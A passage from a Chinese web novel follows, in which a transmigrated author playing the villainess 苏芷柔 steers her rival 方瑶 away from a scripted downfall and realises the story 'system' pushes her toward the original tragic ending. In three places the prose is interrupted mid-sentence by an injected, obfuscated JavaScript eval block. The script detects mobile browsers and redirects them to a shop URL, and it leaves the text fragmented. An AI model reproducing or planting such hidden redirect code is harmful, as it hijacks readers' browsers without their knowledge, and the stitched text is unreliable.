她给了方瑶一个“嫉妒沈棠”的动机,给了她一个“阴险细密”的性格,给了她一个“最终被男主收拾”的结局,之后后她就自然而然地变坏了。 但现在方瑶站在她面前,手里端着咖啡,杯身上贴着一张写着“恭喜开机”的便签。 便签上的字迹很工整,一笔一划的像是认真写上去的。 恶人不会觉得自己是恶人,方瑶大概觉得,自己只是在争取想要的东西。 苏芷柔睁开眼,打开水龙头洗了一把脸。 镜子里的脸是苏芷柔的。精致而又疲惫,眼尾有一点点上挑,她看着这张脸,想到自己写苏芷柔的第一场戏:苏芷柔对着镜子化妆,一边画眼线一边冷笑:“沈棠也配跟我争?” 她写那句台词的时候在想什么? 在想“这个女配够恶毒,读者会恨她,一个美丽花瓶有什么资格批判一个一直都在努力的女生呢?” 她从来没有想过,苏芷柔对着镜子冷笑的时候,心里有没有过一秒钟的犹豫。 现在她住在这张脸里面,住在这个她随手写下的躯壳里。她的每一个选择都会变成苏芷柔的选择。 她拒绝了泼咖啡,苏芷柔就没有泼。 她把方瑶的咖啡倒进马桶,苏芷柔就没有让沈棠喝下那杯加了料的拿铁。 但方瑶呢? 方瑶的剧情还在走。 因为她没有改过方瑶的剧情,她只改了苏芷柔的。 方瑶被开除后,原书中她的结局是“被全网封杀,精神崩溃” 苏芷柔没有写她之后怎么样了。 苏芷柔抽了一张纸巾,擦干脸上的水,推开门走回排练厅。 “对了。” 11. 因为我不想看见你一步步走入深渊 沈棠的独白念完了,排练厅里安静了几秒钟,然后温晴把手里的铅笔放在桌上,说了两个字:“对了。” 导演在旁边轻轻呼出一口气,制片人的表情松弛下来,沈棠坐在椅子上,手指还在微微发抖,她有些疲惫但眼睛里有光。 苏芷柔走过去,把那杯没被动过的美式放在沈棠面前:“喝口水。” 沈棠接过去,喝了一大口,然后她愣了一下,低头看了看杯子:“这是美式,柔柔,你知道我喝不惯美式的。” “偶尔换换口味。”苏芷柔心不在焉。 沈棠看了她一眼,没有追问又喝了一口,苦涩的味道在口腔中来回拉扯,最后只好认命地把美式放下,拿起剧本准备下一场的演出。 围读结束的时候已经是傍晚,苏芷柔收拾东西准备走,温晴叫住了她。 “今天下午我看见你在门口拦住了方瑶。” 苏芷柔点头。 “她的咖啡有问题?” 苏芷柔没有否认。 温晴沉默了一会儿然后说:“方瑶下周会去另一部戏的试镜,星耀传媒最近在捧她。” 苏芷柔抬起头:“不对啊!” “你写的?”温晴问。 苏芷柔愣了一下:“不是,我写的是她因为恶意搞垮沈棠,被娱记爆出被封杀了。” “那就是她自己拿到的。”温晴把铅笔插回笔筒:“你改了苏芷柔的剧情,没改方瑶的,所以她还在走你写的路。但中间有些东西是她自己做的,比星耀传媒的试镜?” 她看着苏芷柔。 “你当初写方瑶的时候,有没有给过她任何一点,哪怕一句话,关于她为什么要嫉妒沈棠?” 苏芷柔张了张嘴。 她写方瑶的动机,只有一句“嫉妒沈棠的资源和运气”。她没有写过方瑶的过去,没有写过她是不是也有梦想,是不是也被欺负过,是不是也在某个深夜对着镜子问自己“我到底哪里不如她”。 她只是一个“恶毒女配B”,功能是在苏芷柔下线后接棒继续虐女主,即便没有她,还会有别的恶毒女配上线。 “你想怎么办?”温晴问。 苏芷柔站在那思索了很久。 等到排练厅里的人陆续走光了,只剩下她和温晴和角落里那几杯凉透的咖啡。 “我想见她。” 方瑶接到苏芷柔电话的时候,正在星耀传媒的排练厅练舞。 她是学舞蹈出身的,这个设定苏芷柔在第36章方瑶出场时,用了一句话介绍她:“方瑶是舞蹈学院毕业的,身材纤细柔软,跳古典舞的时候像一条蛇。” 她写“像一条蛇”的时候,是带着恶意的。 蛇是阴险的、冷血的、会突然发动攻击的。 现在方瑶在排练厅里对着镜子压腿,额头上全是汗,她的手机放在地板上,屏幕亮起来,显示“苏芷柔来电”。 她盯着那个名字看了五秒钟,然后接起来。 “方瑶,明天下午三点,国贸附近那家咖啡馆,我请你喝咖啡。” 方瑶没有立刻回答。 她看着镜子里的自己,头发用一根筷子随意挽在脑后,这不是她平时见人的样子。 “好...”她慢慢悠悠说。 第二天下午,苏芷柔到咖啡馆的时候,方瑶已经坐在靠窗的位置了。 她穿了一件藏蓝色的连衣裙,头发披着化了淡妆,戴了墨镜。苏芷柔见到她感觉她把自己收拾得很得体。 苏芷柔在她对面坐下,点了两杯拿铁。 “你昨天给我那杯拿铁,”苏芷柔把其中一杯推到她面前:“我没让沈棠喝。” 方瑶的脸色变了,不过下一秒她突然很平静,像是等了很久的东西终于来了:“我知道,毕竟你的一举一动我都知道。” “你怎么知道的?”苏芷柔背后吓了一身冷汗,不过她还是强装镇定地问了她。 “因为我知道你查了我的手机通话找了孙姐。”方瑶看着她的眼睛。 从前苏芷柔不知道被蛇盯上是一种什么体验,不过从今天起她知道了: “我知道你调查我,知道你想跟沈棠和平共处,我虽然不知道你从什么时候开始计划这件事,但毋庸置疑的是早在两个月前,你帮沈棠拿下《深渊》试镜机会的那天,我们就已经是敌人了。” 苏芷柔的手指在桌子上乱敲。 “你是在调查我?” “你知道你最近很反常吗?”方瑶说,她思索了一下:“苏芷柔,你到底是谁?” 苏芷柔被方瑶紧逼到椅子靠背上,她没想到用什么理由来搪塞这个发现她不是本人的NPC,随便说了一句:“你的一切情绪都来得莫名其妙。” 方瑶皱起眉,她显然没听懂这句话。 苏芷柔没有解释。 她做不到像对陆司珩那样,对方瑶说出“这个世界是我写的书”。 不是因为方瑶不值得信任,是因为她不知道怎么面对,方瑶的一切恶意,都是她亲手写下的。 “你为什么要这么做?”苏芷柔问。 方瑶沉默了很久,久到窗外的阳光照在桌面上,把两杯拿铁的热气照成一缕一缕的白雾。 “因为我嫉妒她。”方瑶终于开口,声音很平和的开了口:“曾经在学校我是所有老师学生争相疯抢的对象,她沈棠算什么,可从进公司的第一天起,她就像是偷了我的运气一样,所有人都无可救药的喜欢上了她。 温晴喜欢她,我身边的所有朋友也因为她离开了我,她不用争,好东西就会轻而易举落到她头上。 我呢? 我从舞蹈学院毕业,一次因为保护沈棠的车祸中膝盖打了两根铁钉,我没办法再当我从小梦寐以求的舞蹈家了,一起幻梦都成为了泡影,这岂能让我不恨?我转行当演员,沈棠也来当,三年我演了七个配角,没有一个被记住,观众只知道沈棠,我永远只是她的绿叶。 我每天晚上对着镜子练台词,练到嗓子哑,第二天去试镜,人家说‘你长得太精明了,不适合演好人’。这是我的错吗?” 她端起咖啡喝了一口,手微微发抖,她说的所有心有不甘是她从来没有了解到过的方瑶的另一面。 “你知道被说‘长得太精明’是什么意思吗?就是他们看了你的脸,就决定了你只能演哪种人,反派就是反派,是成为不了正面人物的。” 苏芷柔的喉咙像被什么东西堵住了。 这些话不是她写的。 她写方瑶的时候,只写了一句“嫉妒沈棠的资源和运气”。 她没有写过方瑶的膝盖是因为女主,没有写过她三年演七个配角,没有写过她对着镜子练台词练到嗓子哑,没有写过“你长得太精明了,不适合演好人” 这些是方瑶自己长出来的,是她个人的真实经历,看来这个世界正在一步一步修补小说中的漏洞。 苏芷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485720|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔握着咖啡杯,手心微微出汗。 “如果...”她开口声音比她预想中要轻:“我是说如果,你的嫉妒不是你的错呢?” 方瑶看着她,眼神里有一种复杂的困惑。 “什么意思?我的遭遇都是有人刻意造成的吗?” “意思是,有人在你出生之前,你的人生剧本就写好了你会嫉妒沈棠,会用最阴险的方式陷害她。”苏芷柔停了一下。 方瑶放下咖啡杯。瓷器碰到碟子,发出一声清脆的轻响。 “你说的是人生剧本?”方瑶忍不住大笑:“苏芷柔,你别傻了好吗?我相信我们每个人的人生是被一双无形的大手所把握,但我的遭遇不假,沈棠对我实打实的伤害也都是真的。我要如何释怀?” 苏芷柔没有回答。 “如果是剧本,”方瑶的声音忽然变得很轻:“那我现在坐在这里,听你说这些话,也是剧本写好的吗?实在是太荒谬了!苏芷柔,麻烦你下次不要再给我打电话了,我的人生我早有打算。” 苏芷柔愣住了。 她忽然意识到,自己从来没有想过这个问题。 她改变了苏芷柔,改变了沈棠,改变了陆司珩,她以为自己在“对抗剧本”。但如果方瑶问她:你此刻坐在这里劝我收手,是不是也是剧本的一部分? 她却答不上来。 如果她写的原书是命运,那她从现实世界穿越过来,拥有修改文档的能力,是不是也是命运的一部分? 如果方瑶注定要被封杀,那她此刻试图阻止方瑶,是打破了命运,还是完成了命运的另一种写法? 此时温晴的声音又在她脑子里响起来:“你改剧情,是用角色身份改,还是作者身份改?” 她一直以为这两个身份是对立的。 角色身份是顺从,作者身份是掌控。 但也许还有第三种身份。 “方瑶。”苏芷柔把咖啡杯推到一边,身体微微前倾:“我不知道今天这场对话是不是被写好的。但我知道你接下来会做什么,不是被写好的。” 她从包里拿出一份文件,放在桌上。 《深渊》剧组的演员招募通知。 女三号,一个戏份不多但很出彩的角色,林慎的大学室友,表面和林慎亲密无间,实际上一直活在林慎的阴影里。 剧本里有一段她的独白:“我也想做光,但我好像天生就是影子。” 温晴写的,苏芷柔直到看见这个角色,才知道为什么温情老师能够受到如此多业内人士的敬仰,苏芷柔没有写过深渊剧本,但她知道创作出一份如此精彩的剧本,是多么难得的一件事。 “这个角色,温晴还没有定人。”苏芷柔说:“下周三试镜,我希望你能来,我认为这个角色天生就是为你而生。你去不去,是你自己的事。” 方瑶看着那份文件,很久没有说话。 窗外的阳光慢慢移过桌面,落在文件封面上。 “你为什么要帮我?”方瑶终于开口,声音有一点沙哑:“我昨天可是差点害了沈棠。” 苏芷柔想起自己写苏芷柔的第一场戏。 现在她坐在这里,对面是另一个她写的“恶毒女配”。 方瑶的膝盖被车祸撞坏了,三年演了七个配角,被说“你长得太精明了”,苏芷柔给她写的结局是“全网封杀,精神崩溃” “因为我不想看见你一步步走入深渊。”苏芷柔说。 12. 选择 方瑶看着她,眼眶慢慢地红了。 但和沈棠不一样,沈棠试镜那天眼眶红了,眼泪没有掉下来。 方瑶的眼眶红了,眼泪也没有掉下来。 两个存在于故事里被苏芷柔写过“哭”的女人,都没有在她面前掉过一滴她写的眼泪。 “周三几点?”方瑶像只傲娇的布偶猫问。 “上午十点。” 方瑶把那份文件收进包里站起来,随后她走到咖啡馆门口时停了一下,回过头。 “苏芷柔。”她这次叫了苏芷柔全名,而不再是之前虚伪的芷柔姐,这也是一个很大的改变。 苏芷柔抬头。 “你今天说的那些话,关于有人写好了我会嫉妒,我听不太懂,但有一句我记住了,你说那个人不是我,我努力一下。” 她推开门走了出去。 门铃响了一声。 阳光从门缝里涌进来,又合上。 苏芷柔坐在空了的咖啡馆里,面前是两杯凉透的拿铁。 她打开电脑中孤零零的文档。 第36章的原稿还停在那里:“方瑶在沈棠的饮料里放了泻药,沈棠喝下去,半小时后腹痛如绞……” 她选中整段文字,长按删除,光标一闪一闪 苏芷柔重新写: 【第36章影子的独白】 【方瑶没有在沈棠的咖啡里放任何东西,她把咖啡放在排练厅门口的桌上,留下一张写着“恭喜开机”的便签,转身走了。】 【方瑶再度出现,那天棉絮般的云朵高高挂在天上,云朵恰好又遮蔽了太阳向地球散射的魅力,直到她去试了《深渊》的女三号,云朵才肯悄悄散去。温晴坐在评委席上,看她的表演结束,问了一个问题:“你觉得自己是影子吗?”】 【方瑶站在空荡荡的试镜室里,想了很久。】 【“以前或许是,”她停顿了一下:“但我想现在不是了。”】 文档亮起了光。 这一次,光的颜色是一种很淡很淡的暖黄色,像下午的阳光穿过咖啡馆的玻璃窗,落在方瑶收好的那份文件封面上。 系统提示音响起: 【检测到剧情重大偏离。】 【女配值:72→65。扣除7点。】 【警告:女配值下降速度超出预期,请宿主注意维持人设。】 苏芷柔看着那行字,65离60的警戒线还有5点。 她关掉文档,把电脑放进随身带的手提包里,咖啡馆的玻璃窗上,她看见自己的倒影,她穿着那件雾蓝色衬衫。 她忽然想起今天出门前,打开衣柜的时候,发现自己已经很久没有穿过苏芷柔那些辣眼睛的亮片和蕾丝了。 衣橱里最多的颜色变成了白、黑、蓝。 周曼说温晴讨厌黑色。 但她现在觉得,黑色也没什么不好。 方瑶今天穿的是藏蓝色,藏蓝色不由得让她想到夜晚的星空,如此浩瀚而神秘,忍不住让人前去探索。 苏芷柔走出咖啡馆。 北京初夏的下午,阳光把整条街照得发亮,人群来来往往,苏芷柔闭上眼在这里呆着感觉自己回到了现实生活中,可再次睁开眼她还在这里,她又如何能回去呢? 她站在街边,拿出手机给陆司珩发了一条消息: “如果我写了一个人的结局,然后我把它删了,那她的结局会怎样?” 过了两分钟,陆司珩似乎是忙完了回复: “她的人生,该自己做主。” 苏芷柔看着那条回复的消息,站在人来人往的街头,忽然笑了一下。 她把手机放进口袋,往地铁站走去。 【检测...检测到宿主的愿望】 【等待任务完成,宿主的愿望均可达成!望宿主继续努力。】 周三那天果真如苏芷柔所写的那样,方瑶试镜她到得也很早。 九点半,盛世娱乐大厦17层的小剧场门口,走廊里只有她一个人。 保洁阿姨推着清洁车经过,看了她一眼,大概觉得眼熟,但又叫不出名字,于是只点了点头。苏芷柔也点了点头。 她手里拎着两杯咖啡,一杯美式给自己,一杯拿铁给方瑶,拿铁没有加任何东西,不过袋子里有店员送的糖包和奶精。 她靠在墙上,打开美式喝了一口,苦得皱了皱眉,果然她还是喝不惯美式。 周曼说她上辈子一定是喝奶茶长大的,这辈子才会对苦味这么敏感。 苏芷柔觉得周曼说得对。 但沈棠围读那天她给沈棠买的是美式,沈棠喝了一口可她什么都没说。 后来周曼偷偷告诉她,沈棠其实也喝不惯美式,但那杯她全喝完了。 “她说你买的,苦也要喝完。”周曼当时是这么转述的,后面还加了句酸溜溜的话:“啧啧啧我都要磕你俩。” 苏芷柔想到这里,又喝了一口美式,还是苦,但她心里是甜的。 方瑶是九点五十到的。 她从电梯里走出来的时候,苏芷柔差点没认出来。 她穿了一件很素的灰色衬衫,头发扎成低马尾,脸上几乎没有妆。 不是“伪素颜”的那种没有妆,是真的只涂了一层防晒和一层薄薄的口红。 整个人看起来比上次在咖啡馆见面时年轻了三四岁,化妆把她画的过分成熟,她那种把妆容卸掉之后,像十八岁的少女的感觉清纯风少女漫。 “早。”方瑶走到她面前,声音里带着点紧张。 苏芷柔把那杯拿铁递过去:“加油我看好你,这杯里面我没加东西。” 方瑶接过咖啡,手指在杯身上停了一下,突然她笑了一下,嘴角弯起一点点:“我知道。” 两个人靠在走廊的墙上,一人端着一杯咖啡。 走廊里很安静,偶尔有工作人员经过,看她们一眼又匆匆走开。 方瑶小口小口地喝着拿铁,目光落在走廊尽头的试镜室门上。 黑色的帘子拉着,看不见里面。 “我昨晚没睡好。”方瑶或许是想找个话题,忽然说。 苏芷柔侧过头看她。 “一直在想一个问题。”方瑶的手指摩挲着咖啡杯的边缘:“如果我真的拿到了这个角色,是因为你帮了我吗?” 苏芷柔沉默了几秒:“你觉得呢?” “我不知道。”方瑶的声音很轻:“我昨天翻来覆去地想,你为什么会帮我,我们以前关系不怎么样。你以前......”她顿了一下:“你以前跟现在不太一样。” 苏芷柔没有接话。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485721|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来我想到了一个可能。”方瑶低下头,看着杯子里的咖啡:“你可能只是可怜我,因为你知道如果我再这样下去,会走上一条不归路。” 苏芷柔的手指在美式杯子上微微收紧。 “上次在咖啡馆,你说每个人的人生都有一个剧本,有人在出生之前,人生剧本就写好了你的一生。又说,我会嫉妒沈棠,会用最阴险的方式陷害她。”方瑶几乎把那段话一字不差地复述出来:“我当时没完全听懂,但后来我去找了温晴老师聊天。” 苏芷柔转过头。 “她没有告诉我什么意思,但她说了两句话。第一句是:‘苏芷柔说的那个人,不是命运。’第二句是......”方瑶抬起头,看着苏芷柔的眼睛,非常郑重地说道:“‘那个人正在努力改写她写过的一切,她在赎罪。’” 走廊里安静了很久。 保洁阿姨推着清洁车从走廊尽头经过,轮子在地面上发出咕噜咕噜的声响。然后一切又归于安静。 “所以人生剧本到底是谁来书写的?”方瑶有些崩溃:“是你书写了我这样残破不堪的人生?是你让我无辜背负如此多的骂名?我又做错了什么?我只是想努力赚钱给我的家人更好的生活,你连这点都要剥夺走吗?” 这不是疑问句,是实实在在的怒火的发泄,苏芷柔不敢阻拦她,她想着发泄出来就好了。 苏芷柔握着美式杯子的手指已经凉了,咖啡的热度正在一点点散失,像她此刻胸口那点隐秘的温度。 “对不起......我..”苏芷柔心脏一抽一抽地痛。 方瑶质问:“你凭什么?因为我前半生遭遇的那些劫难,最疼爱的我的奶奶去世了,我甚至没来得及去看她最后一面,世界上孤身剩余我一人,这人生真是...糟糕透顶!” 方瑶说完这段话,缓慢而又长长地呼出一口气,像是终于确认了一件很早就隐约猜到的事。 苏芷柔脑海中警报声已经震得她心脏和脑袋一起痛起来。 【警告!警告!警告!】 【方瑶生命值跌入10点,宿主应尽快想办法让方瑶恢复50点,方瑶此时有自杀自毁倾向!!!】 苏芷柔从前以为脑海中的系统说话时,外面的声音和时间会静止,如今看实则不然,方瑶依旧在诉说自己的遭遇。 “我昨晚对着镜子想了很久。”方瑶的声音变得很平: “想我从小到大做过的那些决定,有些决定可能一开始就是错的,考舞蹈学院是因为奶奶说我这样好的苗子不当舞蹈演员可惜了,奶奶把每天母鸡下的蛋送给学校老师,让学校老师多多关照我。 后来腿坏了奶奶也因为知道这件事从床上摔下来,成了植物人,毕业以后我要赚钱只能进娱乐圈,老师说我的脸适合上镜。 第一次试镜失败以后开始嫉妒同期的新人,是因为经纪人说我‘不够有观众缘’。后来嫉妒变成了习惯,陷害变成了手段,我以为那是我自己选的。” 她低头看着自己的手是一双舞蹈演员的手,指节分明,中指上有一小块因为常年握把杆磨出来的茧。 “现在那些选择,很有可能从来都不是我的,而是一双无形的力量推着我。”随后,方瑶冷不丁的来了句:“是你吧。” 苏芷柔的喉咙像被什么东西堵住了。 13. 我们就让它这样一直跌下去 她想起陆司珩在国贸三期42层对她说的话:“你写我冷漠矜贵,写我手腕上有一块从不离身的深蓝色手表。你写的每一句话我都在真实的活着,现在那个故事中的人就在你的面前。” 陆司珩说的是“活过” 现在方瑶坐在她旁边,端着一杯拿铁。 苏芷柔想说什么,可又不知道从何说起,现在的首要任务还是应该把方瑶的生命值拉回来:“方瑶,奶奶还有机会活过来,这一切的一切都还有机会,我真的不知道你原来过得这么...”不容易 “惨,是吧!从小到大所有人都这样说,我已经习惯了,”方瑶声音很轻,但很清楚:“我发现你也不一样了,或许能改变些什么?不过...” 试镜室的门从里面推开,一个戴黑框眼镜的工作人员探出头来:“方瑶老师,到您了请进。” 方瑶起身把咖啡放在椅子上,整了整衬衫的下摆,她走到门口时深吸一口气停在那回过头。 “苏芷柔” “我在。” “如果我拿到了这个角色,我希望你能给我刚刚的问题一个好的解答。” 她推开门走了进去,帘子落下来,隔断了视线,却让苏芷柔犯了难,解答?真的是太难了! 苏芷柔站在走廊里,站了很久,然后她慢慢蹲下来,背靠着墙壁,把脸埋进膝盖里。 手机在口袋里震了一下,苏芷柔没有理会。 系统的声音变得呼呲呼呲——像是数据卡壳的声音。 【检测到剧情重大偏离!】 【方瑶剧情线已脱离原轨迹:原定“下药成功→沈棠错过试镜→方瑶全身而退→后期被男主清算”序列已中断......】 【女配值:65→58。扣除7点。】 离60的警戒线,跌破了?! 苏芷柔盯着那个数字,心跳漏了一拍。然后第二条通知弹出来: 【警告:女配值低于60警戒线,触发“角色终结”预警!】 【系统提示:女配值低于60,意味着宿主正在脱离“恶毒女配苏芷柔”的核心人设。若数值持续下降,宿主将不再符合角色定位,系统将启动强制矫正。】 苏芷柔的手指悬在屏幕上方。 她早就知道60是警戒线。 从第一章系统激活的那天起,那个数字就挂在她头顶,数字的每一次加加减减她都感到害怕,害怕去面对那个既定结局。 每一次她做出偏离原剧情的选择,数字就会跳动。她一直以为加分是好事,扣分是坏事。 因为系统的每一次提示都在强化这个逻辑:你做符合人设的事,加分;你偏离人设,扣分。扣到60以下,你会被抹杀。 但这一刻,她蹲在盛世娱乐走廊的地板上,盯着“58”这个数字,忽然觉得有什么地方不对。 不是“现在”不对,或许是从一开始就不对。 她脑海里想着系统的每一次提醒,一条条警告和加分。 第一次加分:是她把咖啡泼到陆司珩身上。 系统说:“您的行为虽偏离原定剧情,但符合‘恶毒女配攀附权贵’的基础人设,故予以加分。”加了13点,从72到85。 苏芷柔想破天却也只想到系统给她加分只有一次。 第一次是“攀附权贵”符合人设 她一直以为自己很聪明,她用“攀附权贵”来解释拒绝作恶,用“假决裂”来拖延时间。她以为自己在玩弄系统,让系统把她偏离原剧情的行为“误判”为符合人设,从而给她加分让她以为安全。 但如果系统的真正目的,从来不是让她安全呢? 如果加分,才是陷阱呢? 苏芷柔的后背忽然爬上一层寒意。她想起温晴在书店后院说的话:“你当初写这本书的时候,底层逻辑是‘恶毒女配必须恶有恶报’。” 系统的底层逻辑不是“督促宿主作恶” 系统的底层逻辑是“让苏芷柔贴合原结局” 原结局是什么? 苏芷柔被全网封杀,精神崩溃,穿着束缚衣在精神病院里对着空墙念台词,最后被私生饭一把火烧死。 或许这才是系统想要的结果。 而达成那个结局的路径,不是让她一直作恶。 是让她一步步滑向那个位置。系统给她加分,不是因为她在作恶,是因为她的行为可以被解释为“恶毒女配的行为”。 攀附权贵是恶毒女配的行为。系统把这些行为识别为“贴合人设”,然后加分。 加分会让她安心,让她觉得自己的策略是有效的,让她继续沿着这条路走下去。 但这条路通往哪里? 通往原结局,那个苏芷柔这辈子都不想踏入的残忍结局,她能改变吗? 苏芷柔把手机翻过来,屏幕朝下扣在地板上,她的手指在发抖,心脏被人握住得那种揪心的痛,胃中感觉有一股酸水翻上来,眼泪不知不觉离开眼眶,掉入地面瞬间就被水泥地吸收。 她一直以为自己在对抗系统。 她以为扣分是系统在惩罚她的偏离,加分是系统被她的聪明迷惑。 她错了,甚至是错得离谱,扣分才是真正的偏离。 加分是系统在说:“对,就是这样,再往前走一步,你就离原结局更近了。” 方瑶试镜成功了,她偏离了原剧情,系统扣分。 每一次她真正打破原书框架,系统都会扣分。 每一次她只是用更聪明的方式扮演“恶毒女配”,系统都会加分。 系统不是在阻止她偏离。 系统是在引导她走向原结局。 她忽然想起第1章,系统第一次激活时的界面。屏幕上有一行小字,她当时没在意: 【祝您扮演愉快!】 系统从来没有把她当成一个活人。 系统把她当成一个角色,一个需要扮演“苏芷柔”的演员,而系统是导演。 导演不会告诉演员“你正在走向悲剧结局” 导演只会说“很好,再来一条,就是这样” 加分是“很好”,扣分是“再来一条”。而“角色终结”不是惩罚而是杀青。 苏芷柔慢慢站起来,眼眶微微泛红,膝盖有点发软,她起来踉跄着扶了一下墙壁。 走廊里还是很安静,保洁阿姨已经推着车走远了。试镜室的门仍然关着,方瑶在里面,正在为自己争取一个不是任何人写好的角色。 她拿起手机,向温晴咨询:“我好像弄明白系统的真正规则了,今天能见你吗?” 温晴的回复很快:“未名,随时等你。” 苏芷柔把手机放进口袋。 她看了一眼试镜室紧闭的门,然后转身走向电梯。 方瑶不需要她在门口等。 她说过:如果我拿到了这个角色,是因为我自己。 她信她。 --- 未名书店的院子里,石榴树的果子又大了一圈,青色中透出一点微微的黄。橘猫趴在老位置上,尾巴垂下来,偶尔扫一下。温晴坐在铁艺椅子上,面前放着两杯茶,看起来十分惬意。 苏芷柔在对面坐下,把她发现的真相从头到尾讲了一遍。 温晴听完,沉默了很久。 “所以系统不是在惩罚你的偏离。”温晴淡定地说:“系统是在奖励你走向原结局。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485722|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对。” “那60分就不是警戒线。” 苏芷柔抬起头。 “60分是你还贴合‘恶毒女配’人设的最低分数,低于60,系统认为你不再是苏芷柔,触发强制矫正。”温晴端起茶喝了一口,这次茶没有凉:“但强制矫正的内容是什么?是把你拉回60分以上,怎么拉回?让你做符合人设的事,做一件加分。加回60以上,你就又‘安全’了。” “然后继续走向原结局。”苏芷柔接下去。 温晴点头回应到。 “系统不需要你一直在60分以上,它只需要你相信60分以下是危险区,这样你就会主动配合那些能‘加分’的行为,而那些行为,恰恰是最贴合原剧情的。” 苏芷柔的指尖冰凉。 “所以我每一次为了‘安全’而做的妥协,攀附权贵的说法、甚至最开始和陆司珩的合作,都是在往原结局的方向走。” “不一定。”温晴放下茶杯,“你最开始和陆司珩合作,是真的在偏离。系统给你加分,是因为它试图把你的偏离解释为‘攀附权贵’,那是它在事后给你的行为贴标签,而不是你的行为本身有问题。” 她看着苏芷柔。 “系统是一个叙事机器。它的功能是把所有行为纳入‘恶毒女配苏芷柔’的叙事框架。你泼咖啡泼中陆司珩,它可以解释为‘攀附权贵’。你帮沈棠拿下角色,它可以解释为‘别有用心’。你做什么,它都能解释,因为它是一个被写好的解释系统。” “那我要怎么不受它控制?” 温晴沉默了一会儿:“你创造他的初衷是什么?你记不记得系统最开始扣你分的那次反常行为?” 苏芷柔仔细回想了一下确有其事,沈棠试镜成功那次。 “那一次,系统没有解释,是直接扣的分,可他这样子做的意义到底是什么?” 说到这里苏芷柔忽然愣了一下,或许她找到答案了。 “你帮沈棠拿下了角色,系统扣了分,但它没有说你扣分是因为什么,没有标签甚至于没有解释。”温晴的声音不快不慢: “因为那一次,你的行为无法被纳入任何‘恶毒女配’的叙事,你没有作恶,没有攀附,没有别有用心。你只是站在走廊里等了她二十五分钟,给了她一颗草莓糖。系统无法解释一颗草莓糖,更无法诉说这种失控是对又或是错,但按照原文它该扣分,所以它只能扣分,可又因为判断不出不会贴标签。” 苏芷柔想起那天。她站在走廊里,帆布袋里装着沈棠的试镜资料、一瓶温水、一包纸巾和三颗草莓糖。沈棠进去了多久,她就在那等了她多久。 那是她穿过书以来,最安静的一段剧情。 系统没有给她加分,没有给她扣分,没有任何提示音。 直到沈棠出来,直到温晴说“那是沈棠自己长出来的”,系统才终于找到可以扣分的点,原来是沈棠靠自己拿到了角色,苏芷柔的“作者”功能被削弱了,所以它扣了分。 但扣分的理由,系统说不出来。 “所以,”苏芷柔慢慢地说:“真正能打败系统的,不是聪明的策略,而是它无法解释的东西。” 温晴点头:“你给沈棠草莓糖,它解释不了。陆司珩自己买了一块表,它解释不了。方瑶今天去试镜,你给她买了一杯没有加东西的拿铁,它也解释不了。” 苏芷柔低下头,看着自己的手。 “那我现在58分,低于警戒线了,系统说会触发强制矫正。矫正它会怎么样矫正?” “会...”温晴还在思索下一步的行动:“强制矫正的前提是低于60分,若是我们就让它这样一直跌下去,如何呢?”